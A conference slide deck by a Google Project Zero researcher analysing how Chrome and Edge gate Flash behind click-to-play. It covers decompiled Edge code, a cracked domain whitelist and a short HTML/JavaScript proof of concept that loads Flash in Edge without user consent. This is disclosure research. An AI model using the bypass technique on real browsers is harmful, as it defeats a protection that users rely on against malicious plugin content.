1 of 62

Flash click2play in Web Browsers and other Horror Stories

Ivan Fratric, Google Project Zero

2 of 62

About me

  • Security researcher at Google Project Zero
  • Previously: Google Security Team, Academia (Uni ZG, FER)
  • Doing security research for >10 years
  • Author: Domato, WinAFL, ROPGuard
  • Pwnie nominee
  • @ifsecure on Twitter

3 of 62

Flash in HTML

  • but also:

<object width="500" height="500">

<param name="movie" value="filename.swf">

<embed src="filename.swf" width="500" height="500"></embed>

</object>

<object data="filename.swf" width="500" height="500"></object>

<embed src="filename.swf" width="500" height="500"></embed>

4 of 62

Flash 0days in the wild

5 of 62

Do attackers still care about Flash?

6 of 62

Possible approaches

  1. Find a way to abuse the whitelisting mechanism
  2. Find a way to load Flash directly without going through click2play checks

7 of 62

How to start auditing?

  • Browsers are vastly complicated
    • But Flash click2play is a relatively self-contained feature

  • Search Chrome source / bug tracker, Edge symbols
    • “Flash”
    • “application/x-shockwave-flash” / “application/futuresplash”
  • Look at implementation of Object / Embed HTML elements

8 of 62

Click2play in Chrome

Renderer process

Browser process

Plugin process

9 of 62

Click2play in Chrome

Renderer process

Browser process

Plugin process

GetPluginInfo

10 of 62

Click2play in Chrome

Renderer process

Browser process

Plugin process

GetPluginInfo

11 of 62

Click2play in Chrome

Renderer process

Browser process

Plugin process

GetPluginInfo

authorized_plugins[pid]

= c:\path\to\flash\plugin

12 of 62

Click2play in Chrome

Renderer process

Browser process

Plugin process

GetPluginInfo

authorized_plugins[pid]

= c:\path\to\flash\plugin

OpenChannelToPepperPlugin

13 of 62

Click2play in Chrome

Renderer process

Browser process

Plugin process

GetPluginInfo

authorized_plugins[pid]

= c:\path\to\flash\plugin

OpenChannelToPepperPlugin

14 of 62

Click2play in Chrome

Renderer process

(evil)

Browser process

Plugin process

OpenChannelToPepperPlugin

15 of 62

Click2play in Chrome

Renderer process

(evil)

Browser process

Plugin process

authorized_plugins[pid]

= []

OpenChannelToPepperPlugin

16 of 62

Click2play in Chrome

Renderer process

(evil)

Browser process

Plugin process

authorized_plugins[pid]

= []

OpenChannelToPepperPlugin

17 of 62

Click2play in Chrome

Renderer process

Browser process

Plugin process

GetPluginInfo

authorized_plugins[pid]

= c:\path\to\flash\plugin

OpenChannelToPepperPlugin

18 of 62

Click2play in Chrome

  • Difficult to bypass authorized_plugins check even with a compromised renderer
  • Idea: Load a whitelisted site and then load attacker-site in the same renderer
    • Requires site isolation bypass
    • Default whitelist is empty

19 of 62

Click2play in Chrome

  • Conclusion: The only way to bypass click2play is to have PluginInfoHostImpl::GetPluginInfo succeed
    • Params
      • Frame id
      • Object URL
      • Requester origin
      • Mime type

  • Idea: Confuse URL parser into thinking URL is safe
    • Default whitelist is empty

20 of 62

Click2play in Chrome

HostContentSettingsMap::GetWebsiteSetting

PluginUtils::GetFlashPluginContentSetting

ChromePluginServiceFilter::IsPluginAvailable

PluginInfoHostImpl::Context::FindEnabledPlugin

PluginInfoHostImpl::PluginsLoaded

PluginInfoHostImpl::GetPluginInfo

21 of 62

Click2play in Chrome

HostContentSettingsMap::GetWebsiteSetting

↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT

PluginUtils::GetFlashPluginContentSetting

↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT

ChromePluginServiceFilter::IsPluginAvailable

PluginInfoHostImpl::Context::FindEnabledPlugin

PluginInfoHostImpl::PluginsLoaded

PluginInfoHostImpl::GetPluginInfo

22 of 62

Click2play in Chrome

HostContentSettingsMap::GetWebsiteSetting

↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT

PluginUtils::GetFlashPluginContentSetting

↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT

ChromePluginServiceFilter::IsPluginAvailable

↑ ↓ returns false

PluginInfoHostImpl::Context::FindEnabledPlugin

PluginInfoHostImpl::PluginsLoaded

PluginInfoHostImpl::GetPluginInfo

23 of 62

Click2play in Chrome

HostContentSettingsMap::GetWebsiteSetting

↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT

PluginUtils::GetFlashPluginContentSetting

↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT

ChromePluginServiceFilter::IsPluginAvailable

↑ ↓ returns false

PluginInfoHostImpl::Context::FindEnabledPlugin

↑ ↓ returns true

PluginInfoHostImpl::PluginsLoaded

PluginInfoHostImpl::GetPluginInfo

24 of 62

Click2play in Chrome

HostContentSettingsMap::GetWebsiteSetting

↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT

PluginUtils::GetFlashPluginContentSetting

↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT

ChromePluginServiceFilter::IsPluginAvailable

↑ ↓ returns false

PluginInfoHostImpl::Context::FindEnabledPlugin

↑ ↓ returns true

PluginInfoHostImpl::PluginsLoaded

↑ ↓ returns kFlashHiddenPreferHtml

PluginInfoHostImpl::GetPluginInfo

25 of 62

Click2play in Chrome

HostContentSettingsMap::GetWebsiteSetting

↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT

PluginUtils::GetFlashPluginContentSetting

↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT

ChromePluginServiceFilter::IsPluginAvailable

↑ ↓ returns false

PluginInfoHostImpl::Context::FindEnabledPlugin

↑ ↓ returns true

PluginInfoHostImpl::PluginsLoaded

↑ ↓ returns kFlashHiddenPreferHtml

PluginInfoHostImpl::GetPluginInfo

26 of 62

Click2play in Edge

  • Mostly implemented in FlashClickToRunHelper::DetermineControlAction
  • The entire logic is in the renderer process

27 of 62

FlashClickToRunHelper::DetermineControlAction

void FlashClickToRunHelper::DetermineControlAction(Element, bool *allowed, bool *blocked) {

if(FlashClickToRunHelper::IsUserTrusted(site_url, document) {

*allowed = 1;

} else {

*allowed = FlashClickToRunPlatformListHelper::IsTrustedByPlatform(site_url, perm);

if(!*allowed) {

*allowed = FlashClickToRunPlatformListHelper::IsTrustedByPlatform(object_url, 4);

}

}

}

28 of 62

FlashClickToRunHelper::DetermineControlAction

void FlashClickToRunHelper::DetermineControlAction(Element, bool *allowed, bool *blocked) {

if(FlashClickToRunHelper::IsUserTrusted(site_url, document) {

*allowed = 1;

} else {

*allowed = FlashClickToRunPlatformListHelper::IsTrustedByPlatform(site_url, perm);

if(!*allowed) {

*allowed = FlashClickToRunPlatformListHelper::IsTrustedByPlatform(object_url, 4);

}

}

}

Check if

  • User allowed Flash to “run once” on this site
  • User allowed this site to always run Flash

29 of 62

FlashClickToRunHelper::DetermineControlAction

void FlashClickToRunHelper::DetermineControlAction(Element, bool *allowed, bool *blocked) {

if(FlashClickToRunHelper::IsUserTrusted(site_url, document) {

*allowed = 1;

} else {

*allowed = FlashClickToRunPlatformListHelper::IsTrustedByPlatform(site_url, perm);

if(!*allowed) {

*allowed = FlashClickToRunPlatformListHelper::IsTrustedByPlatform(object_url, 4);

}

}

}

???

30 of 62

FlashClickToRunHelper::DetermineControlAction

void FlashClickToRunHelper::DetermineControlAction(Element, bool *allowed, bool *blocked) {

if(FlashClickToRunHelper::IsUserTrusted(site_url, document) {

*allowed = 1;

} else {

*allowed = FlashClickToRunPlatformListHelper::IsTrustedByPlatform(site_url, perm);

if(!*allowed) {

*allowed = FlashClickToRunPlatformListHelper::IsTrustedByPlatform(object_url, 4);

}

}

}

Leads down to

FlashClickToRunPlatformListHelper::

GetPlatformTrustedResult

31 of 62

GetPlatformTrustedResult?

char __fastcall FlashClickToRunPlatformListHelper::GetPlatformTrustedResult(PUCHAR pbInput, unsigned int *a2) {

FlashClickToRunPlatformListHelper::EnsureMappedPlatformData();

if ( BCryptOpenAlgorithmProvider(&phAlgorithm, L"SHA256", 0i64, 0) < 0 )

Abandonment::Fail();

if ( BCryptCreateHash(phAlgorithm, &phHash, 0i64, 0, 0i64, 0, 0) < 0 )

Abandonment::Fail();

v5 = SysStringByteLen(pbInput);

if ( BCryptHashData(phHash, pbInput, v5, 0) < 0 )

Abandonment::Fail();

if ( BCryptFinishHash(phHash, &pbOutput, 0x20u, 0) < 0 )

Abandonment::Fail();

v6 = bsearch_s(

&pbOutput,

FlashClickToRunPlatformListHelper::s_platformData,

(unsigned int)FlashClickToRunPlatformListHelper::s_numEntries,

36ui64,

(int (__cdecl *)(void *, const void *, const void *))CompareHashes,

0i64);

if ( v6 ) { v2 = 1; … }

BCryptCloseAlgorithmProvider(phAlgorithm, 0);

BCryptDestroyHash(phHash);

return v2;

}

32 of 62

GetPlatformTrustedResult?

char __fastcall FlashClickToRunPlatformListHelper::GetPlatformTrustedResult(PUCHAR pbInput, unsigned int *a2) {

FlashClickToRunPlatformListHelper::EnsureMappedPlatformData();

if ( BCryptOpenAlgorithmProvider(&phAlgorithm, L"SHA256", 0i64, 0) < 0 )

Abandonment::Fail();

if ( BCryptCreateHash(phAlgorithm, &phHash, 0i64, 0, 0i64, 0, 0) < 0 )

Abandonment::Fail();

v5 = SysStringByteLen(pbInput);

if ( BCryptHashData(phHash, pbInput, v5, 0) < 0 )

Abandonment::Fail();

if ( BCryptFinishHash(phHash, &pbOutput, 0x20u, 0) < 0 )

Abandonment::Fail();

v6 = bsearch_s(

&pbOutput,

FlashClickToRunPlatformListHelper::s_platformData,

(unsigned int)FlashClickToRunPlatformListHelper::s_numEntries,

36ui64,

(int (__cdecl *)(void *, const void *, const void *))CompareHashes,

0i64);

if ( v6 ) { v2 = 1; … }

BCryptCloseAlgorithmProvider(phAlgorithm, 0);

BCryptDestroyHash(phHash);

return v2;

}

Q: Where does this come from?

33 of 62

GetPlatformTrustedResult?

char __fastcall FlashClickToRunPlatformListHelper::GetPlatformTrustedResult(PUCHAR pbInput, unsigned int *a2) {

FlashClickToRunPlatformListHelper::EnsureMappedPlatformData();

if ( BCryptOpenAlgorithmProvider(&phAlgorithm, L"SHA256", 0i64, 0) < 0 )

Abandonment::Fail();

if ( BCryptCreateHash(phAlgorithm, &phHash, 0i64, 0, 0i64, 0, 0) < 0 )

Abandonment::Fail();

v5 = SysStringByteLen(pbInput);

if ( BCryptHashData(phHash, pbInput, v5, 0) < 0 )

Abandonment::Fail();

if ( BCryptFinishHash(phHash, &pbOutput, 0x20u, 0) < 0 )

Abandonment::Fail();

v6 = bsearch_s(

&pbOutput,

FlashClickToRunPlatformListHelper::s_platformData,

(unsigned int)FlashClickToRunPlatformListHelper::s_numEntries,

36ui64,

(int (__cdecl *)(void *, const void *, const void *))CompareHashes,

0i64);

if ( v6 ) { v2 = 1; … }

BCryptCloseAlgorithmProvider(phAlgorithm, 0);

BCryptDestroyHash(phHash);

return v2;

}

Q: Where does this come from?

A: read from C:\Windows\system32\

edgehtmlpluginpolicy.bin

34 of 62

edgehtmlpluginpolicy.bin

  • Binary file in the format of
    • [32 bytes] sha256 of the domain name as wide char (16 bit characters)
    • [4 bytes] permission flags describing in what cases Flash is allowed to load

35 of 62

edgehtmlpluginpolicy.bin

  • Binary file in the format of
    • [32 bytes] sha256 of the domain name as wide char (16 bit characters)
    • [4 bytes] permission flags describing in what cases Flash is allowed to load

  • Let’s crack it!
    • Created a dictionary using DNS data from Rapid7's Project Sonar, https://opendata.rapid7.com/sonar.fdns_v2/

36 of 62

The whitelist

www.pogo.com

www.wasu.cn

www.tvnow.de

chushou.tv

more2.starfall.com

loa.gtarcade.com

nseindia.com

www.wgt.com

netgauge.unitel.ao

www.icourses.cn

www.la7.it

www.dgestilistas.es

www.zxxk.com

weathernews.jp

bigfarm.goodgamestudios.com

www.facebook.com

www.deezer.com

yahoo-mbga.jp

ok.ru

seer.61.com

empire.goodgamestudios.com

www.friv.com

video.baomihua.com

hiztesti.turktelekom.com.tr

www.scholastic.com

www.viz.com

www.dilidili.wang

games.aarp.org

www.douyu.com

rc.qzone.qq.com

www.nicovideo.jp

www.mynet.com

www.hotstar.com

www.4399.com

www.bilibili.com

www.msn.com

zone.msn.com

www.worldsurfleague.com

www.stupidvideos.com

entitlement.auth.adobe.com

video.fc2.com

www.ontvtime.ru

apps.facebook.com

www.totaljerkface.com

www.hungamatv.com

edu.glogster.com

v.pptv.com

life.pigg.ameba.jp

www.panda.tv

www.vudu.com

www.nseindia.com

music.microsoft.com

en.ikariam.gameforge.com

www.deraktionaer.tv

www.a1.net

www.poptropica.com

37 of 62

The whitelist

www.pogo.com

www.wasu.cn

www.tvnow.de

chushou.tv

more2.starfall.com

loa.gtarcade.com

nseindia.com

www.wgt.com

netgauge.unitel.ao

www.icourses.cn

www.la7.it

www.dgestilistas.es

www.zxxk.com

weathernews.jp

bigfarm.goodgamestudios.com

www.facebook.com

www.deezer.com

yahoo-mbga.jp

ok.ru

seer.61.com

empire.goodgamestudios.com

www.friv.com

video.baomihua.com

hiztesti.turktelekom.com.tr

www.scholastic.com

www.viz.com

www.dilidili.wang

games.aarp.org

www.douyu.com

rc.qzone.qq.com

www.nicovideo.jp

www.mynet.com

www.hotstar.com

www.4399.com

www.bilibili.com

www.msn.com

zone.msn.com

www.worldsurfleague.com

www.stupidvideos.com

entitlement.auth.adobe.com

video.fc2.com

www.ontvtime.ru

apps.facebook.com

www.totaljerkface.com

www.hungamatv.com

edu.glogster.com

v.pptv.com

life.pigg.ameba.jp

www.panda.tv

www.vudu.com

www.nseindia.com

music.microsoft.com

en.ikariam.gameforge.com

www.deraktionaer.tv

www.a1.net

www.poptropica.com

38 of 62

The whitelist

39 of 62

Uncracked hashes

  • 12c3d9b1a0a1f33a7d7ab1b4ccb53c1163210ee527ad5336175eb40ff1fcfe45
  • 4f5db25a3bd2f1abf3dd1a509b2e1a6d81b9ba4428f333454c29d93e794150bc

40 of 62

Why (else) is the whitelist bad?

  • Domains only, doesn’t enforce secure scheme
    • A network attacker can bypass click2play
    • Ideal for government entities with control over public infrastructure
  • XSS bugs

41 of 62

Why (else) is the whitelist bad?

42 of 62

The whitelist aftermath

  • In February 2019 Microsoft
    • Included the scheme in the hash
    • Reduced the whitelist to

43 of 62

The whitelist aftermath

  • In February 2019 Microsoft
    • Included the scheme in the hash
    • Reduced the whitelist to

44 of 62

Loading Flash

void __fastcall COleSite::ProcessObjectAfterSizeDetermined(COleSite *this)

{

allowed = 0;

blocked = 0;

FlashClickToRunHelper::DetermineControlAction(element, &allowed, &blocked);

if ( allowed )

{

COleSite::CreateObject(*(COleSite **)element, (struct _GUID *)(*(_QWORD *)element + 304i64));

v6 = Tree::ANode::SecurityContext(*(Tree::ANode **)element);

++*(_DWORD *)(*(_QWORD *)(*((_QWORD *)v6 + 2) + 432i64) + 4i64);

}

else

{

FlashClickToRunHelper::ShowDisabledFlashPlaceHolder(element);

}

if ( blocked )

FlashClickToRunHelper::NotifyFrameOfBlockedFlash(element);

}

45 of 62

Loading Flash

void __fastcall COleSite::ProcessObjectAfterSizeDetermined(COleSite *this)

{

allowed = 0;

blocked = 0;

FlashClickToRunHelper::DetermineControlAction(element, &allowed, &blocked);

if ( allowed )

{

COleSite::CreateObject(*(COleSite **)element, (struct _GUID *)(*(_QWORD *)element + 304i64));

v6 = Tree::ANode::SecurityContext(*(Tree::ANode **)element);

++*(_DWORD *)(*(_QWORD *)(*((_QWORD *)v6 + 2) + 432i64) + 4i64);

}

else

{

FlashClickToRunHelper::ShowDisabledFlashPlaceHolder(element);

}

if ( blocked )

FlashClickToRunHelper::NotifyFrameOfBlockedFlash(element);

}

46 of 62

COleSite::CreateObject

  • Also called from:
    • CObjectElement::FinalCreateObject
    • CPluginSite::FinishCreateObject
  • Can we bypass click2play by making one of these call COleSite::CreateObject

47 of 62

CObjectElement::FinalCreateObject

__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)

{

v14 = *(_QWORD *)&clsid.Data1 - *(_QWORD *)&CLSID_MacromediaSwFlash.Data1;

if ( *(_QWORD *)&clsid.Data1 == *(_QWORD *)&CLSID_MacromediaSwFlash.Data1 )

v14 = *(_QWORD *)clsid.Data4 - *(_QWORD *)CLSID_MacromediaSwFlash.Data4;

if (!v14 && (doc = Tree::ElementNode::Doc(element), CDOMPluginArray::IsFlashCreateable(markup, doc))) {

v26 = (__m128i)clsid;

*((_QWORD *)element + 44) = v36;

_mm_storeu_si128((__m128i *)element + 19, v26);

TSmartPointer<CPropertyBag,CStrongReferenceTraits,CPropertyBag *>::operator=((char *)element + 376);

_HeapReplaceString(v34, (unsigned __int16 **)element + 42);

_HeapReplaceString(v35, (unsigned __int16 **)element + 43);

_HeapReplaceString(v37, (unsigned __int16 **)element + 45);

_HeapReplaceString(v38, (unsigned __int16 **)element + 46);

v27 = Tree::ElementNode::Doc(element);

CView::AddPendingSizeDeterminationOleSite((struct CDoc *)((char *)v27 + 3528), element);

v4 = 0;

} else {

v4 = COleSite::CreateObject(element, &clsid);

}

48 of 62

CObjectElement::FinalCreateObject

__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)

{

if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))

{

// go through the regular flow with click2play checks

CView::AddPendingSizeDeterminationOleSite(…);

} else {

// create object immediately

v4 = COleSite::CreateObject(element, &clsid);

}

49 of 62

CObjectElement::FinalCreateObject

__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)

{

if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))

{

// go through the regular flow with click2play checks

CView::AddPendingSizeDeterminationOleSite(…);

} else {

// create object immediately

v4 = COleSite::CreateObject(element, &clsid);

}

If clsid is Flash clsid...

50 of 62

CObjectElement::FinalCreateObject

__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)

{

if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))

{

// go through the regular flow with click2play checks

CView::AddPendingSizeDeterminationOleSite(…);

} else {

// create object immediately

v4 = COleSite::CreateObject(element, &clsid);

}

If clsid is Flash clsid...

AND Flash is NOT creatable...

51 of 62

CObjectElement::FinalCreateObject

__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)

{

if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))

{

// go through the regular flow with click2play checks

CView::AddPendingSizeDeterminationOleSite(…);

} else {

// create object immediately

v4 = COleSite::CreateObject(element, &clsid);

}

If clsid is Flash clsid...

AND Flash is NOT creatable...

Create Flash object anyway

52 of 62

Actually not that trivial

__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)

{

if ( !(unsigned int)COleSite::AllowCreate(element, &clsid, (int *)&v31) )

{

CObjectElement::OnFailToCreate(element);

goto end;

}

if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))

{

// go through the regular flow with click2play checks

CView::AddPendingSizeDeterminationOleSite(…);

} else {

// create object immediately

v4 = COleSite::CreateObject(element, &clsid);

}

53 of 62

Actually not that trivial

__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)

{

if ( !(unsigned int)COleSite::AllowCreate(element, &clsid, (int *)&v31) )

{

CObjectElement::OnFailToCreate(element);

goto end;

}

if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))

{

// go through the regular flow with click2play checks

CView::AddPendingSizeDeterminationOleSite(…);

} else {

// create object immediately

v4 = COleSite::CreateObject(element, &clsid);

}

Both of these perform similar checks

Both end up calling COleSite::AllowCreateSecurityChecks

54 of 62

Actually not that trivial

__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)

{

if ( !(unsigned int)COleSite::AllowCreate(element, &clsid, (int *)&v31) )

{

CObjectElement::OnFailToCreate(element);

goto end;

}

if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))

{

// go through the regular flow with click2play checks

CView::AddPendingSizeDeterminationOleSite(…);

} else {

// create object immediately

v4 = COleSite::CreateObject(element, &clsid);

}

Idea: JavaScript callback here?

55 of 62

Actually not that trivial

__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)

{

if ( !(unsigned int)COleSite::AllowCreate(element, &clsid, (int *)&v31) )

{

CObjectElement::OnFailToCreate(element);

goto end;

}

if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))

{

// go through the regular flow with click2play checks

CView::AddPendingSizeDeterminationOleSite(…);

} else {

// create object immediately

v4 = COleSite::CreateObject(element, &clsid);

}

Both of these perform similar checks

Both end up calling COleSite::AllowCreateSecurityChecks

56 of 62

Actually not that trivial

__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)

{

if ( !(unsigned int)COleSite::AllowCreate(element, &clsid, (int *)&v31) )

{

CObjectElement::OnFailToCreate(element);

goto end;

}

if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))

{

// go through the regular flow with click2play checks

CView::AddPendingSizeDeterminationOleSite(…);

} else {

// create object immediately

v4 = COleSite::CreateObject(element, &clsid);

}

Both of these perform similar checks

Both end up calling COleSite::AllowCreateSecurityChecks

… but possibly with different arguments

57 of 62

Actually not that trivial

__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)

{

if ( !(unsigned int)COleSite::AllowCreate(element, &clsid, (int *)&v31) )

{

CObjectElement::OnFailToCreate(element);

goto end;

}

if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))

{

// go through the regular flow with click2play checks

CView::AddPendingSizeDeterminationOleSite(…);

} else {

// create object immediately

v4 = COleSite::CreateObject(element, &clsid);

}

If the element doesn’t have a markup

(it is not part of a DOM tree)

most checks get skipped and it returns true

58 of 62

Actually not that trivial

__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)

{

if ( !(unsigned int)COleSite::AllowCreate(element, &clsid, (int *)&v31) )

{

CObjectElement::OnFailToCreate(element);

goto end;

}

if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))

{

// go through the regular flow with click2play checks

CView::AddPendingSizeDeterminationOleSite(…);

} else {

// create object immediately

v4 = COleSite::CreateObject(element, &clsid);

}

Returns false if document is a “Dynamic” document

59 of 62

PoC

<body onload="go1()">

<script>

var o;

function go1() {

o = document.createElement('object');

o.data = "https://wwwimages.adobe.com/www.adobe.com/swf/software/flash/about/flashAbout_info_small.swf";

o.type = "application/x-shockwave-flash";

o.width = 500;

o.height = 500;

var d = new Document();

d.adoptNode(o);

}

</script>

</body>

Element not a part of a DOM tree

Dynamic document

60 of 62

PoC

<body onload="go1()">

<script>

var o;

function go1() {

o = document.createElement('object');

o.data = "https://wwwimages.adobe.com/www.adobe.com/swf/software/flash/about/flashAbout_info_small.swf";

o.type = "application/x-shockwave-flash";

o.width = 500;

o.height = 500;

var d = new Document();

d.adoptNode(o);

setTimeout(go2, 0);

}

function go2() {

document.body.appendChild(o);

}

</script>

</body>

Element not a part of a DOM tree

Dynamic document

61 of 62

DEMO

62 of 62

Conclusion

  • The only 100% foolproof way to guard against an unsafe feature is to remove it completely